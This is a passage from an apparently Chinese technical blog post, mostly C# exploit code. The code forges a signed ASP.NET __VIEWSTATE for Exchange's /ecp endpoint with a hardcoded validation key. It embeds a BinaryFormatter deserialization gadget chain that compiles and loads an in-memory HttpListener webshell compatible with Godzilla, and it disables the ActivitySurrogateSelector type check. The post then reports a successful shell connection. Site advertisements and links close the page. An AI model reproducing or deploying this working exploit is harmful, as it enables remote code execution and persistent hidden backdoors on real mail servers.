stm.Write(not_found, 0, not_found.Length); Console.WriteLine(""Exception caught1: "" + e.ToString()); }} finally {{ if (stm != null) {{ stm.Flush(); stm.Close(); }} response.OutputStream.Flush(); response.OutputStream.Close(); }} }} }} catch (Exception e) {{ Console.WriteLine(""Exception caught2: "" + e.ToString()); //log(""Exception caught2: ""+ e.ToString()); if (listener.IsListening) {{ listener.Stop(); }} }} }} }}"; return code; } } public class MemoryShellLoader { public static byte[] compile_base64_shell(string key, string pass, string inject_path, string memory_shell_type) { byte[] assembly_bytes = null; string source_code = string.Empty; source_code = CodeHelper.get_memory_http_listenr_code(key, pass, inject_path); try { CSharpCodeProvider code_provider = new CSharpCodeProvider(); CompilerParameters parameters = new CompilerParameters(); parameters.ReferencedAssemblies.Add("System.Web.dll"); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll"); parameters.ReferencedAssemblies.Add("System.Core.dll"); // parameters.GenerateExecutable = false; // parameters.GenerateInMemory = true; CompilerResults compiler_results = code_provider.CompileAssemblyFromSource(parameters, source_code); if (compiler_results.Errors.HasErrors) { foreach (CompilerError err in compiler_results.Errors) Console.WriteLine(err.ErrorText); } else { // 临时路径进行编译 assembly_bytes = File.ReadAllBytes(compiler_results.PathToAssembly); File.Delete(compiler_results.PathToAssembly); } } catch (Exception excetion) { Console.WriteLine($"Memory Generate Fail, {excetion.Message}"); Environment.Exit(-1); } return assembly_bytes; } } [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(TextFormattingRunProperties)); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string xaml) { _xaml = xaml; } } // Custom serialization surrogate class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } } [Serializable] public class PayloadClass : ISerializable { private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector) { Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089") .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2") .MakeGenericType(typeof(TSource), typeof(TResult)); return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>; } public byte[] GadgetChains() { DesignerVerb verb = null; Hashtable ht = null; List<object> ls = null; //byte[] payload = File.ReadAllBytes(Path.Combine("./test.dll")); //byte[][] e1 = new byte[][] { payload }; byte[] inject_memory_payload = MemoryShellLoader.compile_base64_shell("key", "pass", "/favicon.ico", "HttpListener"); byte[][] e1 = new byte[][] { inject_memory_payload }; // Assembly.Load IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly>(e1, null, Assembly.Load); // IEnumerable<Type> IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>>(e2, null, (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate ( typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes") ) ); IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>>(e3, null, (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate ( typeof(Func<IEnumerable<Type>, IEnumerator<Type>>), typeof(IEnumerable<Type>).GetMethod("GetEnumerator") ) ); //bool MoveNext(this) => Func<IEnumerator<Type>,bool> => predicate //Type get_Current(this) => Func<IEnumerator<Type>,Type> => selector // //WhereSelectEnumerableIterator`2.MoveNext => // if(predicate(IEnumerator<Type>)) {selector(IEnumerator<Type>);} => // IEnumerator<Type>.MoveNext();return IEnumerator<Type>.Current; IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type>(e4, (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate ( typeof(Func<IEnumerator<Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext") ), (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate ( typeof(Func<IEnumerator<Type>, Type>), typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod() ) ); IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance); // PagedDataSource maps an arbitrary IEnumerable to an ICollection PagedDataSource pds = new PagedDataSource() { DataSource = end }; // AggregateDictionary maps an arbitrary ICollection to an IDictionary // Class is internal so need to use reflection. IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked. verb = new DesignerVerb("", null); // Need to insert IDictionary using reflection. typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); // Pre-load objects, this ensures they're fixed up before building the hash table. ls = new List<object>(); ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); ht = new Hashtable(); // Add two entries to table. /* ht.Add(verb, "Hello"); ht.Add("Dummy", "Hello2"); */ ht.Add(verb, ""); ht.Add("", ""); FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ls.Add(ht); BinaryFormatter fmt1 = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); fmt1.SurrogateSelector = new MySurrogateSelector(); fmt1.Serialize(stm, ls); return stm.ToArray(); } public void GetObjectData(SerializationInfo info, StreamingContext context) { System.Diagnostics.Trace.WriteLine("In GetObjectData"); info.SetType(typeof(System.Windows.Forms.AxHost.State)); info.AddValue("PropertyBagBinary", GadgetChains()); } } public class Program { static object Deserialize(byte[] b) { using (MemoryStream mem = new MemoryStream(b)) { mem.Position = 0; BinaryFormatter bf = new BinaryFormatter(); return bf.Deserialize(mem); } } static byte[] Serialize(object obj) { using (MemoryStream mem = new MemoryStream()) { BinaryFormatter bf = new BinaryFormatter(); bf.Serialize(mem, obj); return mem.ToArray(); } } static byte[] GetViewState(byte[] data) { MemoryStream ms = new MemoryStream(); // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01 ms.WriteByte(0xff); ms.WriteByte(0x01); // 指定ObjectStateFormatter进行序列化,特征为0x32 ms.WriteByte(0x32); uint num = (uint)data.Length; // Value为带有7bit-encoded长度前缀,所以最大长度为0x80 while (num >= 0x80) { ms.WriteByte((byte)(num | 0x80)); num = num >> 0x7; } ms.WriteByte((byte)num); ms.Write(data, 0, data.Length); return ms.ToArray(); } static void Main(string[] args) { //string xaml = @""; //byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml))); Console.WriteLine($"Trying Inject Payload -> CSharpDynamicPayload Encryptor -> CSHARP_AES_BASE64 Password -> pass Key -> key Header -> Type: mem_b64"); System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); BinaryFormatter fmt1 = new BinaryFormatter(); MemoryStream stm = new MemoryStream(); PayloadClass test = new PayloadClass(); fmt1.SurrogateSelector = new MySurrogateSelector(); fmt1.Serialize(stm, test); byte[] data = GetViewState(stm.ToArray()); byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF }; // clientId = hash(当前请求路径)+hash(当前请求文件名) uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("LiveIdError_aspx")); // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE MemoryStream ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(_mackey, 0, _mackey.Length); byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray()); ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(hash, 0, hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2")); Console.ReadKey(); } } }
哥斯拉内存马连接情况如下所示,可以看到成功连接
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY